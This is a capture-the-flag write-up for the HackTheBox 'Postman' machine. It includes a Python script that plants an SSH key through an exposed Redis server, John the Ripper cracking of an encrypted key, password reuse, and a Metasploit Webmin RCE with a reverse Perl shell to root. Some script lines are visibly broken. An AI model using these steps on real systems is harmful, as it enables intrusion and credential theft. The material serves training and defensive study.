HackTheBox Postman

Postman was an easy-going box. It required careful enumeration and beyond that did not have too much resistance in privilege escalation. This makes it a prime example for real-world M&M security where the initial foothold is hard, but there is few resistance on the inside. Let's start out by scanning the machine:

# nmap -sS -sC -oN postman.nmap -v
# Nmap 7.80 scan initiated Sun Dec  8 11:27:40 2019 as: nmap -sS -sC -oN postman.nmap -v -p1-10000
Increasing send delay for from 0 to 5 due to 674 out of 2245 dropped probes since last increase.
Nmap scan report for
Host is up (0.11s latency).
Not shown: 9996 closed ports
22/tcp    open  ssh
| ssh-hostkey:
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http
|_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis
10000/tcp open  snet-sensor-mgmt
| ssl-cert: Subject: commonName=*/organizationName=Webmin Webserver on Postman
| Issuer: commonName=*/organizationName=Webmin Webserver on Postman
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-08-25T16:26:22
| Not valid after:  2024-08-23T16:26:22
| MD5:   96f4 064c e63e 1277 4954 a4d9 a099 56ac
|_SHA-1: 4322 6ff3 ab7a 6ade 2887 9b89 6657 401c 3afd 5217
|_ssl-date: TLS randomness does not represent time

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Dec  8 11:29:31 2019 -- 1 IP address (1 host up)

There are a few interesting things here already. We have a webserver running on port 80, an unprotected Redis database server on the default port 6379, and a custom application on port 10000. The latter one apparently is using an SSL certificate where the organizationName already tells us that we are dealing with a Webmin admin panel here. That is already decent information to start out with! Looking at the website on port 80, there is no real attack surface present. It's just static content.


Moving on to port 10000, we are presented with a redirect to an SSL site.


To make this work, we tweak our /etc/hosts file a bit and move to the site mentioned above. There we are presented with a Webmin login panel.


A few tries with default username/password combinations did not yield any success, so let's move on. We don't want to bruteforce the credentials here out of politeness to the other people hacking on it. :) About Redis and port 6379, there is a general rule of thumb for production usage: NEVER PUT THIS THING ON THE OPEN INTERNET. If you don't believe me, read the same thing in the Redis docs - worded a bit more elegantly:

Redis is designed to be accessed by trusted clients inside trusted environments. This means that usually it is not a good idea to expose the Redis instance directly to the internet or, in general, to an environment where untrusted clients can directly access the Redis TCP port or UNIX socket.

In my attack I made some assumptions, such as that the user the DB is running under is called redis, that its home directory is /var/lib/redis/ and that the config options used in the attack are available. All of these should be true by default. So I generated a new SSH keypair and hacked up a little Python script:

import redis

print("[+] Reading key")
with open("attacker.key", "r") as keyfile:
    key = "\n\n" + + "\n\n"

print("[+] Connecting to Redis")
r = redis.StrictRedis(

print("[+] Flushing DB")

print("[+] Setting attacker SSH key")
r.set("itdonottouch", key)

print("[+] Setting configuration keys")
r.config_set("dir", "/var/lib/redis/.ssh/")
r.config_set("dbfilename", "authorized_keys")

print("[+] Saving changes to Redis disk")

print("[+] Exploit finished - try ssh with [email protected]")

Pulling this attack off requires basic knowledge of the Python redis package, DB flushing, and an understanding of the two config keys I have used. The key names and their effect can be understood by checking out the relevant section in the Redis default config file:

# The filename where to dump the DB
dbfilename dump.rdb

# The working directory.
# The DB will be written inside this directory, with the filename specified
# above using the 'dbfilename' configuration directive.
# The Append Only File will also be created inside this directory.
# Note that you must specify a directory here, not a file name.
dir ./

After executing the exploit, we simply need to SSH into the box as redis user:

# ssh -i ~/.ssh/id_rsa [email protected]
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:
 * Management:
 * Support: * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
Last login: Mon Aug 26 03:04:25 2019 from
redis@Postman:~$ id
uid=107(redis) gid=114(redis) groups=114(redis)

Looking around a bit, we find an interesting backup file:

redis@Postman:~$ ls
/opt/ id_rsa.bak

It's an encrypted SSH key, so we base64 it, copy it over, and decode it.

redis@Postman:~$ cat /opt/id_rsa.bak | base64
# (cat user.key.bak | base64 -d) > user.key

Proc-Type: 4,ENCRYPTED


Now to prepare the file for John the Ripper and cracking it:

# /usr/share/john/ user.key > user.key.john
# john --wordlist=/usr/share/wordlists/rockyou.txt --fork=4 user.key.john

Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Node numbers 1-4 of 4 (fork)
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (user.key)
4 0g 0:00:00:09 DONE (2019-12-08 12:21) 0g/s 361800p/s 361800c/s 361800C/s *7ยกVamos!
3 0g 0:00:00:10 DONE (2019-12-08 12:21) 0g/s 357468p/s 357468c/s 357468C/sa6_123
1 0g 0:00:00:10 DONE (2019-12-08 12:21) 0g/s 356404p/s 356404c/s 356404C/sie168
Waiting for 3 children to terminate
2 1g 0:00:00:10 DONE (2019-12-08 12:21) 0.09813g/s 351856p/s 351856c/s 351856C/sabygurl69
Session completed

Got it. The only thing left to know now is a username. A quick look at /etc/passwd helps us here:


However, when we try to SSH into the box as Matt from our remote machine, or the box' localhost, we get a permission error. Password authentication in SSH is enabled, however. So a good guess would be that Matt was a lazy user and reused his password that he previously encrypted his SSH key with.

redis@Postman:~$ su Matt

Damnit, Matt. We talked about this password rotation policy things in so many meetings before! In his home directory we can find the user flag. Now on to root. Poking around the machine with Matt's access rights, we don't find much. It's a good time to think back: We found a Webmin panel and Matt is already guilty once of password reuse. Let's give it another shot.


Matt, come on! And on top of that, someone didn't install their security updates:


Webmin itself has a set of very interesting functionalities to manage systems. So it doesn't come as a surprise if it's running under elevated privileges. Scouring the web for some interesting exploits, we find this Webmin security bulletin - and our current version seems to be 1.910. Normally I like to script my exploits in Python to get a deeper understanding of what they do, but this time I was inspired by Matt's laziness and decided to take the easy way in with Metasploit:

msf5 exploit(linux/http/webmin_packageup_rce) > options

Module options (exploit/linux/http/webmin_packageup_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   computer2008     yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      10000            yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME   Matt             yes       Webmin Username
   VHOST                       no        HTTP server virtual hostPayload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen portExploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910

Firing this we end up with a root shell:

msf5 exploit(linux/http/webmin_packageup_rce) > exploit

[*] Started reverse TCP handler on
[+] Session cookie: 93a0b7c6234b1354928550dc12865af2
[*] Attempting to execute the payload...
[*] Command shell session 2 opened ( -> at 2019-12-08 12:58:17 +0000
uid=0(root) gid=0(root) groups=0(root)

... and the root flag is secured.

If there is anything to be learnt here, it is to never use Redis as an open service to the internet, and to always make sure your users do not reuse their passwords. Especially not if they're as crappy as computer2008. Often times users are not doing this because they're stupid, but rather because they lack vital security education. So let's not rant too much about Matt and hope his employer is going to send him to some nice workshops to get him up to speed. :)